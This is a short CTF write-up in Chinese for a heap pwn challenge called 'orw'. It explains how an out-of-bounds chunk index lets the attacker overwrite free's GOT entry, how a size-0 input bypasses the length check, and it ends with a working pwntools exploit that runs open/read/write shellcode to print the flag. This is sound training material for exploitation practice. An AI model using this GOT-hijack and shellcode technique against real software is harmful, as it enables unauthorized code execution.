RELRO没都开,能劫持got,NX也没开,总得写点shellcode。
开了沙箱。
是个堆。
只能申请两个chunk,但是好像有个序号可以越界。
show edit都丢了,只剩了一个free
free还挺干净。
那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。
但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。
然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。
exp
from pwn import*
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
r = process("./orw")
elf = ELF("./orw")
def add(index, size, content):
r.sendlineafter('choice >>', '1')
r.sendlineafter(':', str(index))
r.sendlineafter(':', str(size))
r.sendafter(':', content)
def delete(index):
r.sendlineafter('choice >>', '4')
r.sendlineafter(':', str(index))
self_addr = 0x2020e0
free_got = 0x202018
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
shellcode += shellcraft.ret()
fake_free = asm(shellcode)
add((free_got - self_addr)/8, 0, fake_free + '\n')
delete(0)
r.interactive()